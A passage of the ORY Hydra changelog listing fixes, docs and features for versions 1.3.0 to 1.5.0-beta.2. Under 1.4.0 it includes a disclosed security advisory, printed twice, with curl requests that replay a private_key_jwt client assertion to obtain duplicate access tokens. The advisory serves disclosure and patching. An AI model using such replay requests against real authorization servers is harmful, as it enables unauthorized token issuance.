[#1857](https://github.com/ory/hydra/issues/1857): packr2 binary is a needed pre-requisite used to generate .go files that pack the static files of the project into bytes that can be bundled. Invokes packr2 in install-stable and install targets of Makefile in order to generate the .go files that pack the static files into bytes that can be bundled. * Automatically append multiStatements parameter to mySQL URI ([#1835](https://github.com/ory/hydra/issues/1835)) ([849fe62](https://github.com/ory/hydra/commit/849fe62e918cb459256806870feb646f977adbdb)) * Consent cockroachdb perfomance issue with zigzag join query ([#1790](https://github.com/ory/hydra/issues/1790)) ([615387e](https://github.com/ory/hydra/commit/615387e05845cc4f27300b06c66e9d21f867316b)), closes [#1789](https://github.com/ory/hydra/issues/1789) [#1755](https://github.com/ory/hydra/issues/1755) [cockroachdb/cockroach#47179](https://github.com/cockroachdb/cockroach/issues/47179): Add an index over subject and client_id in order to avoid the (sometimes) underperformant zigzag join query. * Use correct path for swagger sdk ([21dcdba](https://github.com/ory/hydra/commit/21dcdbafbd1d743991ba99cb651f550ca3018d2c)) ### Chores * Pin v1.5.0-beta.2 release commit ([5e0d16b](https://github.com/ory/hydra/commit/5e0d16b6c8564e1566723a0bec092bb745fc277d)) ### Code Refactoring * Moved AskForConfirmation to ory/x/cmdx ([#1848](https://github.com/ory/hydra/issues/1848)) ([0bd0b0d](https://github.com/ory/hydra/commit/0bd0b0dd353935c2bb53dd4f58f9072d5702a89b)) * Moved TestMigrator to ory/x/popx ([#1846](https://github.com/ory/hydra/issues/1846)) ([a0919a5](https://github.com/ory/hydra/commit/a0919a5ead62ad4b02005547fa55da10481a5afa)) ### Documentation * Add details about auth creds in body ([#1852](https://github.com/ory/hydra/issues/1852)) ([4409e73](https://github.com/ory/hydra/commit/4409e73600b6572e2d20a337c2e0a520f048f9eb)) * Adding a line about CSRF cookie problems ([#1843](https://github.com/ory/hydra/issues/1843)) ([697b0f5](https://github.com/ory/hydra/commit/697b0f5303c5744d88206bb35d85cc5e55f68b88)): Issue I experienced today, running Hydra 1.4.10 in dangerous HTTP mode, the CSRF cookie defaulted to SameSite=None, but the cookie was not marked as secure (which makes sense, as Hydra is running over HTTP), so the cookie gets ignored (and was getting CSRF value not present errors). I was able to get around it by either overriding the SameSite setting, or by switching to TLS termination. * Clarify consent request list endpoint ([#1859](https://github.com/ory/hydra/issues/1859)) ([6dabd9b](https://github.com/ory/hydra/commit/6dabd9bcd9b9c840d11f418fe5c77e2ac730c72e)), closes [#1856](https://github.com/ory/hydra/issues/1856) * Correct version tags ([#1841](https://github.com/ory/hydra/issues/1841)) ([f200fd4](https://github.com/ory/hydra/commit/f200fd408a69d500f33f9acfd319f925eead4efe)) * Update github templates ([#1854](https://github.com/ory/hydra/issues/1854)) ([a0c7ba0](https://github.com/ory/hydra/commit/a0c7ba0eba6cfca5272b81b30bfeaa154bdab2f5)), closes [#1853](https://github.com/ory/hydra/issues/1853) * Update name for post_logout_redirect_url ([#1840](https://github.com/ory/hydra/issues/1840)) ([0092a1f](https://github.com/ory/hydra/commit/0092a1f9ead25291441b871bf036a9fe7a6d0089)), closes [#1832](https://github.com/ory/hydra/issues/1832) # [1.5.0-beta.1](https://github.com/ory/hydra/compare/v1.4.10...v1.5.0-beta.1) (2020-04-30) This release changes how migrations work internally. It does not contain breaking changes. Please run `hydra migrate sql` once you have backed up the database. ## Breaking Changes Please run `hydra migrate sql` before applying this release. ### Chores * Pin v1.5.0-beta.1 release commit ([64b2e4a](https://github.com/ory/hydra/commit/64b2e4a5de0f6c26769a7cb3a9352076c5a94ae4)) ### Code Refactoring * Move migrations to gobuffalo/fizz ([#1775](https://github.com/ory/hydra/issues/1775)) ([94057d9](https://github.com/ory/hydra/commit/94057d9400aeb6751ad00acd34e987e8a8866c42)): This patch deprecates the previous migration system (sql-migrate) in favor of gobuffalo/fizz. No functional changes have been made. # [1.4.10](https://github.com/ory/hydra/compare/v1.4.9...v1.4.10) (2020-04-30) This release includes documentation changes and bug fixes. ### Bug Fixes * Add strategies.access_token to configuration JSON schema ([#1830](https://github.com/ory/hydra/issues/1830)) ([f09d539](https://github.com/ory/hydra/commit/f09d539065f03b24e9914bc4a3ac53a491fc75c3)) * **docs:** Prefix href to jaeger tracing ui with http:// ([#1829](https://github.com/ory/hydra/issues/1829)) ([0e293fc](https://github.com/ory/hydra/commit/0e293fc1a651c510b8c10359abb381be21f302f8)): Before these links would lead relatively to `https://www.ory.sh/hydra/docs/127.0.0.1:16686/search` ### Chores * Pin v1.4.10 release commit ([d0bbf20](https://github.com/ory/hydra/commit/d0bbf205319cded49964d4211d8b50ae98385fdd)) ### Documentation * Fix info note ([bc84c01](https://github.com/ory/hydra/commit/bc84c01b52fe5a133a7d110eaaec896d35fc684a)) ### Unclassified * Update oauth2.md ([f99421e](https://github.com/ory/hydra/commit/f99421eb95f3e363d371ed1e9d91bcd5f2aaf892)) # [1.4.9](https://github.com/ory/hydra/compare/1.4.8...v1.4.9) (2020-04-25) This is the first release to use our new CI/CD pipeline which includes auto-generated release announcements via the newsletter. If you have feedback on this new process feel free to start a discussion on Slack! This release fixes some bugs and improves the docs. ### Bug Fixes * Update install.sh script ([#1828](https://github.com/ory/hydra/issues/1828)) ([7d56902](https://github.com/ory/hydra/commit/7d569022be432c03a6974400ba4a4d20ce693979)) ### Chores * Pin v1.4.9 release commit ([eed9d87](https://github.com/ory/hydra/commit/eed9d8788704fa7df65abd4a238d2ea3ee9391c1)) # [1.4.8](https://github.com/ory/hydra/compare/v1.4.7...1.4.8) (2020-04-24) ### Bug Fixes * **docker:** Resolve nsswitch issues ([#1824](https://github.com/ory/hydra/issues/1824)) ([96b8733](https://github.com/ory/hydra/commit/96b8733bfc683eaec976354077225512397b63bc)) ### Chores * Pin 1.4.8 release commit ([bcfc6c4](https://github.com/ory/hydra/commit/bcfc6c488caaf8b72984cc879792c205d74daeb5)) ### Documentation * Add docker help to self-signed ssl ([8be079b](https://github.com/ory/hydra/commit/8be079b65e47149308cec8622107ee1b3bfbb1da)) * Add tls self-signed certificate guide ([#1826](https://github.com/ory/hydra/issues/1826)) ([a90483f](https://github.com/ory/hydra/commit/a90483f67850ade79ce0c89a547e64564eb0ae4e)), closes [#1822](https://github.com/ory/hydra/issues/1822) ### Features * Add workaround for CSRF SameSite=None cookies ([#1810](https://github.com/ory/hydra/issues/1810)) ([8967b9c](https://github.com/ory/hydra/commit/8967b9cb59b7fcad9fb7e1f0b0269d66f8d32a9b)), closes [#1753](https://github.com/ory/hydra/issues/1753): Implements the workaround from https://web.dev/samesite-cookie-recipes/ for the CSRF cookies only when using SameSite=None. This is configurable and disabled by default. Also adds some unit tests for the existing CSRF cookie helpers, along with unit tests for this change. # [1.4.7](https://github.com/ory/hydra/compare/v1.4.6...v1.4.7) (2020-04-24) This is the first release to use our new CI/CD pipeline which includes auto-generated release announcements via the newsletter. If you have feedback on this new process feel free to start a discussion on Slack! This release fixes some bugs and improves the docs. ### Bug Fixes * Allow -1 as ttl.refresh_token value ([#1819](https://github.com/ory/hydra/issues/1819)) ([66f5d3a](https://github.com/ory/hydra/commit/66f5d3a25fa3efb5484f279844fa6a8245e6b519)), closes [#1811](https://github.com/ory/hydra/issues/1811): Because viper converts the type from both string and number to time.Duration we can allow both types. * **docker:** Add nsswitch.conf into the dockerfiles ([#1816](https://github.com/ory/hydra/issues/1816)) ([48cf366](https://github.com/ory/hydra/commit/48cf366b9f929f6bd22757864dbd169780dec533)): Go's netgo implementation currently does not respect hostname overrides defined in /etc/hosts if the /etc/nsswitch.conf does not exists. Made changes to the Dockerfiles to add a standard /etc/nsswitch.conf to fix this issue. * **docker:** Bump version to 1.4.6 ([0692869](https://github.com/ory/hydra/commit/0692869a155877d4e0554b9834ca09c3d61110d6)) * Improve system secrets message ([#1818](https://github.com/ory/hydra/issues/1818)) ([7a3ecd0](https://github.com/ory/hydra/commit/7a3ecd0d61aefff7274e3261db7629e55afd11ea)) * Use semver-regex replacer func ([77c6752](https://github.com/ory/hydra/commit/77c67526e57311e4825a3c5c322fb4275bc7e826)) ### Chores * Pin v1.4.7 release commit ([11cc6bf](https://github.com/ory/hydra/commit/11cc6bf1909aefbc9e66b1997c149908e111ece2)) ### Documentation * Add CSRF section to debug ([#1813](https://github.com/ory/hydra/issues/1813)) ([85551eb](https://github.com/ory/hydra/commit/85551ebf69fa212221a913b42d799a8d18ac75a3)) * Clarify scope section ([7606a48](https://github.com/ory/hydra/commit/7606a48ba3807814cb685e14b0759e8af887b37d)) * Fix golang and javascript sdk links ([0143712](https://github.com/ory/hydra/commit/0143712b2c28f53be5d1fa3d5cdfdeeef7e8e450)) * Fix two broken links in sdk overview ([#1809](https://github.com/ory/hydra/issues/1809)) ([9def4ba](https://github.com/ory/hydra/commit/9def4ba01c1c500f1e73a0228448d23f2d66e0f2)) * Update linux install guide ([#1806](https://github.com/ory/hydra/issues/1806)) ([a9eed57](https://github.com/ory/hydra/commit/a9eed5741cb70082eb2b457ab681dc6fcda054ac)) # [1.4.6](https://github.com/ory/hydra/compare/v1.4.5...v1.4.6) (2020-04-17) fix: resolve bugs in config schema (#1805) This patch fixes 6 bugs in the config.schema.json and adds "additionalProperties": false where appropriate. Closes #1804 Co-authored-by: aeneasr <[email protected]> ### Bug Fixes * Resolve bugs in config schema ([#1805](https://github.com/ory/hydra/issues/1805)) ([1f6da12](https://github.com/ory/hydra/commit/1f6da129a39ec2f3f2d82e07e9e2c33f74d4c237)), closes [#1804](https://github.com/ory/hydra/issues/1804): This patch fixes 6 bugs in the config.schema.json and adds "additionalProperties": false where appropriate. * Use existing docker versions in quickstart compose ([4892a1f](https://github.com/ory/hydra/commit/4892a1fe8048fd39205813deb1a400892fb34164)) ### Documentation * Update banner img src ([4b2af79](https://github.com/ory/hydra/commit/4b2af793359a9a562e5f95f709212578de418818)) * Update banner src ([14849eb](https://github.com/ory/hydra/commit/14849eb127ce36c598efa4c124601fc785289f3b)) * Update github templates ([#1803](https://github.com/ory/hydra/issues/1803)) ([dd03c4d](https://github.com/ory/hydra/commit/dd03c4dd022a7390b47dc783f730f30b4dd0b6f5)) # [1.4.5](https://github.com/ory/hydra/compare/v1.4.3...v1.4.5) (2020-04-16) docs: update github templates (#1802) Signed-off-by: aeneasr <[email protected]> ### Bug Fixes * Add packr files to gitignore ([b185ae9](https://github.com/ory/hydra/commit/b185ae9223febd63ede82a57fd996b03409a4b67)) * Use correct packr paths in gitignore ([a5ee813](https://github.com/ory/hydra/commit/a5ee813997b2e121299abccbc969b9e357b847ef)) ### Documentation * Update github templates ([#1802](https://github.com/ory/hydra/issues/1802)) ([cc09151](https://github.com/ory/hydra/commit/cc09151eb761c1e8a7b0a201af9cf18e2d763ace)) # [1.4.3](https://github.com/ory/hydra/compare/v1.4.2...v1.4.3) (2020-04-16) fix: return proper error code in refresh and code flows (#1800) Resolves a regression issue which sends an invalid error response when a refresh token is being re-used, is not found, or the wrong client is accessing it. This patch also bumps jose-related tooling which introduces better security measure against certain types of x509 attacks. See https://community.ory.sh/t/refresh-token-endpoint-returns-invalid-request-error-expecting-invalid-grant/1637/2 See https://github.com/ory/fosite/pull/426 See https://github.com/ory/fosite/issues/418 ### Bug Fixes * **consent:** Login and consent error handling ([#1799](https://github.com/ory/hydra/issues/1799)) ([af18bdb](https://github.com/ory/hydra/commit/af18bdbca7bdccdee8a3676db6ea28813830e07c)), closes [#1791](https://github.com/ory/hydra/issues/1791) [#1791](https://github.com/ory/hydra/issues/1791): A regression was introduces in 1.4.2 which caused the error handling to misbehave * Link to docs at README ([#1792](https://github.com/ory/hydra/issues/1792)) ([c0e34be](https://github.com/ory/hydra/commit/c0e34be0b81815ac262aec796cfdef9db35e6765)) * Return proper error code in refresh and code flows ([#1800](https://github.com/ory/hydra/issues/1800)) ([9145e65](https://github.com/ory/hydra/commit/9145e65bddd4878910d3a2950aa8c38b47c7c89c)): Resolves a regression issue which sends an invalid error response when a refresh token is being re-used, is not found, or the wrong client is accessing it. This patch also bumps jose-related tooling which introduces better security measure against certain types of x509 attacks. See https://community.ory.sh/t/refresh-token-endpoint-returns-invalid-request-error-expecting-invalid-grant/1637/2 See https://github.com/ory/fosite/pull/426 See https://github.com/ory/fosite/issues/418 ### Code Refactoring * Move docs to this repository ([#1782](https://github.com/ory/hydra/issues/1782)) ([bfeac3c](https://github.com/ory/hydra/commit/bfeac3c758cedce65a2372b681c5fd26b16ad3ef)) ### Documentation * Regenerate and update changelog ([d66a43e](https://github.com/ory/hydra/commit/d66a43eab39231005729670ecb5c35ec4c9eec53)) * Regenerate and update changelog ([6e899a2](https://github.com/ory/hydra/commit/6e899a293c57132f6075feaa797b688d1233f2c8)) * Regenerate and update changelog ([c3bb3ee](https://github.com/ory/hydra/commit/c3bb3ee26eda72173e08737be091336209714c43)) * Regenerate and update changelog ([00dc9cb](https://github.com/ory/hydra/commit/00dc9cb4f2215da955115c4e8de6cad7d36e20a4)) * Regenerate and update changelog ([fb502cd](https://github.com/ory/hydra/commit/fb502cd0a512815d809981007e5a4ff5a4972769)) * Update github templates ([#1795](https://github.com/ory/hydra/issues/1795)) ([ddbad66](https://github.com/ory/hydra/commit/ddbad667f2c653ca0e0288ce8b0fc45f0ed64d1e)) * Update github templates ([#1797](https://github.com/ory/hydra/issues/1797)) ([ad9668c](https://github.com/ory/hydra/commit/ad9668c7d0ac15e9a46155d3478ad350aec5b7c8)) * Updates issue and pull request templates ([#1777](https://github.com/ory/hydra/issues/1777)) ([3694f3c](https://github.com/ory/hydra/commit/3694f3c025349f84a04d7e8e5941e20ad18ff6f9)) * Updates issue and pull request templates ([#1778](https://github.com/ory/hydra/issues/1778)) ([561d500](https://github.com/ory/hydra/commit/561d5007a049234deac4423f1dd76669000b8d9b)) * Updates issue and pull request templates ([#1780](https://github.com/ory/hydra/issues/1780)) ([d6c4eea](https://github.com/ory/hydra/commit/d6c4eea781f260113db26292ec0800152c3d7d86)) ### Features * Add a config.schema.json and validate the config with it ([#1733](https://github.com/ory/hydra/issues/1733)) ([631cefd](https://github.com/ory/hydra/commit/631cefd9023ee4702e082e0b1e4dac6187f42177)), closes [#1729](https://github.com/ory/hydra/issues/1729) # [1.4.2](https://github.com/ory/hydra/compare/v1.4.1...v1.4.2) (2020-04-03) chore: move to ory analytics fork (#1776) ### Chores * Move to ory analytics fork ([#1776](https://github.com/ory/hydra/issues/1776)) ([622b585](https://github.com/ory/hydra/commit/622b5853ef777bd4dbbee11dfbfcaaddfb86dde1)) ### Documentation * Add 1.4 section to upgrade guide ([fab354a](https://github.com/ory/hydra/commit/fab354acf3610c202a870858eda7a8844e30ae8a)) * Regenerate and update changelog ([485961b](https://github.com/ory/hydra/commit/485961b0718c69cc9f2eebeaa4c29413d50ce82e)) * Regenerate and update changelog ([77b82ac](https://github.com/ory/hydra/commit/77b82aca22b3defc89d4e062719ddc71f3743eea)) # [1.4.1](https://github.com/ory/hydra/compare/v1.4.0...v1.4.1) (2020-04-02) fix: add forgotten error check to test (#1774) ### Bug Fixes * Add forgotten error check to test ([#1774](https://github.com/ory/hydra/issues/1774)) ([13c6753](https://github.com/ory/hydra/commit/13c6753ae11b2f1be0ea81658626fe6363fd9370)) # [1.4.0](https://github.com/ory/hydra/compare/v1.3.2...v1.4.0) (2020-04-02) Merge pull request from GHSA-3p3g-vpw6-4w66 BREAKING CHANGE: This patch requires a new SQL Table which needs to be created using `hydra migrate sql`. No other breaking changes have been introduced by this patch. This patch introduces a blacklist for JTIs which prevents a potential replay of `private_key_jwt` JWTs when performing client authorization. ## GHSA-3p3g-vpw6-4w66 ### Impact When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion `jti`: > A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens: ``` $ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'grant_type=client_credentials' \ --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'client_assertion=eyJhb [...] jTw' {"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎ ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'grant_type=client_credentials' \ --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'client_assertion=eyJhb [...] jTw' {"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"} ``` ### Severity We rate the severity as medium because the following reasons make it hard to replay tokens without the patch: - TLS protects against MITM which makes it difficult to intercept valid tokens for replay attacks - The expiry time of the JWT gives only a short window of opportunity where it could be replayed ### Patches This will be patched with v1.4.0+oryOS.17 ### Workarounds Two workarounds have been identified: - Do not allow clients to use `private_key_jwt` - Use short expiry times for the JWTs ### References https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication ### Upstream This issue will be resolved in the upstream repository https://github.com/ory/fosite ## Breaking Changes This patch requires a new SQL Table which needs to be created using `hydra migrate sql`. No other breaking changes have been introduced by this patch. This patch introduces a blacklist for JTIs which prevents a potential replay of `private_key_jwt` JWTs when performing client authorization. ## GHSA-3p3g-vpw6-4w66 ### Impact When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion `jti`: > A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens: ``` $ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'grant_type=client_credentials' \ --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'client_assertion=eyJhb [...] jTw' {"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎ ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'grant_type=client_credentials' \ --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'client_assertion=eyJhb [...] jTw' {"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"} ``` ### Severity We rate the severity as medium because the following reasons make it hard to replay tokens without the patch: - TLS protects against MITM which makes it difficult to intercept valid tokens for replay attacks - The expiry time of the JWT gives only a short window of opportunity where it could be replayed ### Patches This will be patched with v1.4.0+oryOS.17 ### Workarounds Two workarounds have been identified: - Do not allow clients to use `private_key_jwt` - Use short expiry times for the JWTs ### References https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication ### Upstream This issue will be resolved in the upstream repository https://github.com/ory/fosite ### Bug Fixes * Add failing test case for [#1725](https://github.com/ory/hydra/issues/1725) ([#1727](https://github.com/ory/hydra/issues/1727)) ([74d8e31](https://github.com/ory/hydra/commit/74d8e3174c0adb33a263cb8d935d9c6c653fa81e)) * **client:** Remove 404 from GET responses ([#1746](https://github.com/ory/hydra/issues/1746)) ([6147e11](https://github.com/ory/hydra/commit/6147e119fed899f4d4ce52777d291328b23f1b4b)), closes [#1744](https://github.com/ory/hydra/issues/1744) * **cli:** Set correct JWK alg on import ([#1761](https://github.com/ory/hydra/issues/1761)) ([e7f55cd](https://github.com/ory/hydra/commit/e7f55cd36a4e6b64e4ff2b8c331749472b78a8ba)) * Force transaction isolation level to `LevelRepeatableRead` ([#1766](https://github.com/ory/hydra/issues/1766)) ([ad7ae00](https://github.com/ory/hydra/commit/ad7ae006606a8be4d892bd3b554a609ff8ce9992)), closes [#1719](https://github.com/ory/hydra/issues/1719) [#1735](https://github.com/ory/hydra/issues/1735): To improve consistency in certain authorization flows that utilize transactions, this PR forces the SQL storage transaction isolation level to `LevelRepeatableRead`. This will ensure that we avoid the phenomena of non-repeatable reads which occur when a transaction re-reads data it has previously read and then finds out that another transaction has since modified that data and committed. As a result, setting this isolation level fixes a flaw where one could use a given refresh token more than once. See the test added. In the event that multiple concurrent transactions are competing under a given refresh token workflow, the underlying database engine will eventually return an error when one of the transactions successfully commits. For example, in such a scenario, postgres will rollback the transaction with: ``` could not serialize access due to concurrent update (SQLSTATE 40001) ``` * Move to ory sqa service ([#1768](https://github.com/ory/hydra/issues/1768)) ([c6bdbcf](https://github.com/ory/hydra/commit/c6bdbcf18b67fbdb815f568db7d222e511262d12)) * **sdk:** Ignore go-jose when generating swagger spec ([#1757](https://github.com/ory/hydra/issues/1757)) ([1388482](https://github.com/ory/hydra/commit/138848229874aa18b744b57369541d8c3da812a8)) ### Code Refactoring * **client:** Reduce SQL boilerplate code ([#1758](https://github.com/ory/hydra/issues/1758)) ([7ab7154](https://github.com/ory/hydra/commit/7ab715402bbbea33b824be01c4bd436e89e31a10)), closes [#1730](https://github.com/ory/hydra/issues/1730) * Switch from lib/pq to jackc/pgx ([#1736](https://github.com/ory/hydra/issues/1736)) ([ec78668](https://github.com/ory/hydra/commit/ec786685d2873874962f1091c23259d74de9a0b2)), closes [#1599](https://github.com/ory/hydra/issues/1599) * Switch from lib/pq to jackc/pgx ([#1738](https://github.com/ory/hydra/issues/1738)) ([2296e78](https://github.com/ory/hydra/commit/2296e78bac9f89006dddf2afed42fff16a080de1)), closes [#1599](https://github.com/ory/hydra/issues/1599) ### Documentation * Regenerate and update changelog ([179dd5a](https://github.com/ory/hydra/commit/179dd5af03c6f8d9227aa55f7cf6d496a6928933)) * Regenerate and update changelog ([fefed90](https://github.com/ory/hydra/commit/fefed90011819f6179002c49d8c2ed840598741d)) * Regenerate and update changelog ([6a52b87](https://github.com/ory/hydra/commit/6a52b87eae12c49256b91b02fe0a271709d5eb7f)) * Regenerate and update changelog ([284184c](https://github.com/ory/hydra/commit/284184c7eec8391c7c194f4fd4a169e798426960)) * Regenerate and update changelog ([6623eb0](https://github.com/ory/hydra/commit/6623eb05d0bccc3d6f8d45617b3c59f0092117a5)) * Regenerate and update changelog ([950d6fc](https://github.com/ory/hydra/commit/950d6fc0f1e623ef6846ba508722e6845b6517bb)) * Regenerate and update changelog ([142771a](https://github.com/ory/hydra/commit/142771ab848bb36399f25eea1501b71579e05b1b)) * Regenerate and update changelog ([95fe01f](https://github.com/ory/hydra/commit/95fe01ff3365bef76ab023aaa91c97312958c9c7)) * Regenerate and update changelog ([6ec8688](https://github.com/ory/hydra/commit/6ec8688ae351efe851d783edad4e60b488af7d46)) * Regenerate and update changelog ([e1e89e7](https://github.com/ory/hydra/commit/e1e89e7d0ac6623ec10d53d59e8e42ea0d15c742)) * Regenerate and update changelog ([92682e2](https://github.com/ory/hydra/commit/92682e283695f683d94c79a949190cde3857fb0c)) * Regenerate and update changelog ([89710e1](https://github.com/ory/hydra/commit/89710e17f644a32ce8ee719764a9fd82355591fb)) * Regenerate and update changelog ([8dd9bb1](https://github.com/ory/hydra/commit/8dd9bb195e0c71c3123f0a93fc0f244050d0f7e2)) * Regenerate and update changelog ([e527db2](https://github.com/ory/hydra/commit/e527db27efcfbc7235fe282a4fd28b21a220febe)) * Update forum and chat links ([4de078a](https://github.com/ory/hydra/commit/4de078af7e2e79f9ebc6aef1a6ac0b0a10b05384)) * Updates issue and pull request templates ([#1764](https://github.com/ory/hydra/issues/1764)) ([1a0c643](https://github.com/ory/hydra/commit/1a0c643fc2e49f1e1beff2e85ee56a0ff8100d06)) ### Features * Add session data encryption ([#1750](https://github.com/ory/hydra/issues/1750)) ([caec461](https://github.com/ory/hydra/commit/caec46117ae811947eb22da36da0016a489496cf)), closes [#1649](https://github.com/ory/hydra/issues/1649) ### Unclassified * Merge pull request from GHSA-3p3g-vpw6-4w66 ([700d17d](https://github.com/ory/hydra/commit/700d17d3b7d507de1b1d459a7261d6fb2571ebe3)) * Revert "refactor: switch from lib/pq to jackc/pgx (#1736)" (#1737) ([7ff16cf](https://github.com/ory/hydra/commit/7ff16cfc4eb22c3b7330a93275f40ef7406775a7)), closes [#1736](https://github.com/ory/hydra/issues/1736) [#1737](https://github.com/ory/hydra/issues/1737): This reverts commit ec786685d2873874962f1091c23259d74de9a0b2. # [1.3.2](https://github.com/ory/hydra/compare/v1.3.1...v1.3.2) (2020-02-17) chore: Regenerate swagger spec and internal client ### Bug Fixes * **consent:** Properly handle null handle_at ([07b82e1](https://github.com/ory/hydra/commit/07b82e185761e48a963cb9c14ac021753fc678c5)), closes [#1725](https://github.com/ory/hydra/issues/1725) ### Chores * Regenerate swagger spec and internal client ([388284f](https://github.com/ory/hydra/commit/388284fdf4d43bba68ce7df8172a879406c23c3b)) ### Documentation * Regenerate and update changelog ([2f9f103](https://github.com/ory/hydra/commit/2f9f103bf867b1ba3f1ef978c6dc0f4a083f8107)) # [1.3.1](https://github.com/ory/hydra/compare/v1.3.0...v1.3.1) (2020-02-16) ci: Bump SDK orb ### Continuous Integration * Bump SDK orb ([2fcf48a](https://github.com/ory/hydra/commit/2fcf48a396aeb6215f34934ab01c0f5159e3696c)) # [1.3.0](https://github.com/ory/hydra/compare/v1.2.3...v1.3.0) (2020-02-14) docs: Regenerate and update changelog ### Bug Fixes * Bump Go to 1.13 for e2e docker images ([68f5b2d](https://github.com/ory/hydra/commit/68f5b2d46d2f48b6725adcc0308355fd75545944)) * **consent:** Fix concurrent write and read on map ([#1722](https://github.com/ory/hydra/issues/1722)) ([75126de](https://github.com/ory/hydra/commit/75126deff3bbd2374001aef6fd6ec2fad586545e)), closes [#1721](https://github.com/ory/hydra/issues/1721) * **consent:** Resolve test issues ([d28d98d](https://github.com/ory/hydra/commit/d28d98dd18b47b8fd4097ed4fb07ca4e5f5b4682)) * Resolve linter complaints ([f1c926b](https://github.com/ory/hydra/commit/f1c926bd722f8dae83845159f216a26b8e4b19a6)) * Send 401 instead of 404 for unknown client ([#1707](https://github.com/ory/hydra/issues/1707)) ([2bcd432](https://github.com/ory/hydra/commit/2bcd4321cafb5dc8b7891d231523f08855e0b3fd)), closes [#1617](https://github.com/ory/hydra/issues/1617) * Update for 5 minute tutorial ([#1704](https://github.com/ory/hydra/issues/1704)) ([aeecfe1](https://github.com/ory/hydra/commit/aeecfe1c8fa248d416bf27778662403cc515769c)) ### Documentation * Prepare 1.3.0 release ([13c2216](https://github.com/ory/hydra/commit/13c2216ae41234e871623c752d7e1974dc342254)) * Prepare ecosystem automation ([c26a088](https://github.com/ory/hydra/commit/c26a0889601a30346fb75efa6a8bfba54db0b5ab)) * Regenerate and update changelog ([513160b](https://github.com/ory/hydra/commit/513160bf6569a79c631c5fc0389bc0e6d1364c4c)) * Regenerate and update changelog ([f146fda](https://github.com/ory/hydra/commit/f146fda8d096bda78c5f8600330ba718dec6447e)) * Regenerate and update changelog ([35755bd](https://github.com/ory/hydra/commit/35755bd87edaa6d823ee2d6ad4d563175ea8e360)) * Regenerate and update changelog ([a86c8e6](https://github.com/ory/hydra/commit/a86c8e650c3033cb40ee3af71bade53df52b7f3c)) * Regenerate and update changelog ([4ff179a](https://github.com/ory/hydra/commit/4ff179a61eab2c2148c25d53fb566ca367fa1c3f)) * Regenerate and update changelog ([7b89b43](https://github.com/ory/hydra/commit/7b89b432f01fc7cd396f42e312c2c089ca7ce0f4)) * Regenerate and update changelog ([f11d143](https://github.com/ory/hydra/commit/f11d143a2eaabc01de4e33f2b0bf490fd98f6f8e)) * Remove examples section from ecosystem ([15dfef0](https://github.com/ory/hydra/commit/15dfef0240a770e74c1bef8063c5aca407d780b1)) * Updates issue and pull request templates ([#1715](https://github.com/ory/hydra/issues/1715)) ([694d333](https://github.com/ory/hydra/commit/694d333af9ed2cdf756827558ebf0178b5e8512c)) ### Features * New setting to specify SameSite cookie mode ([#1718](https://github.com/ory/hydra/issues/1718)) ([715522a](https://github.com/ory/hydra/commit/715522a55f386353a2f816202b09d311b716a4c8)): Recent changes to Chrome require setting of SameSite cookie policy if it is acceptable for cookies to be used in a third party setting: https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html Some discussion on this in the community board https://community.ory.sh/t/does-hydra-support-samesite-none-for-cookies/1491 ### Unclassified * feat(consent)!: Track handled_at for consent requests (#1689) ([d9308fa](https://github.com/ory/hydra/commit/d9308fa0dba26019a59e4d97e85b036133ad8362)), closes [#1689](https://github.com/ory/hydra/issues/1689) [#1684](https://github.com/ory/hydra/issues/1684): This patch adds a feature where handling (accepting or rejecting) a consent request causes a time stamp (`handled_at`) to be updated. This patch includes schema changes that required `hydra migrate sql` to be applied. * Update 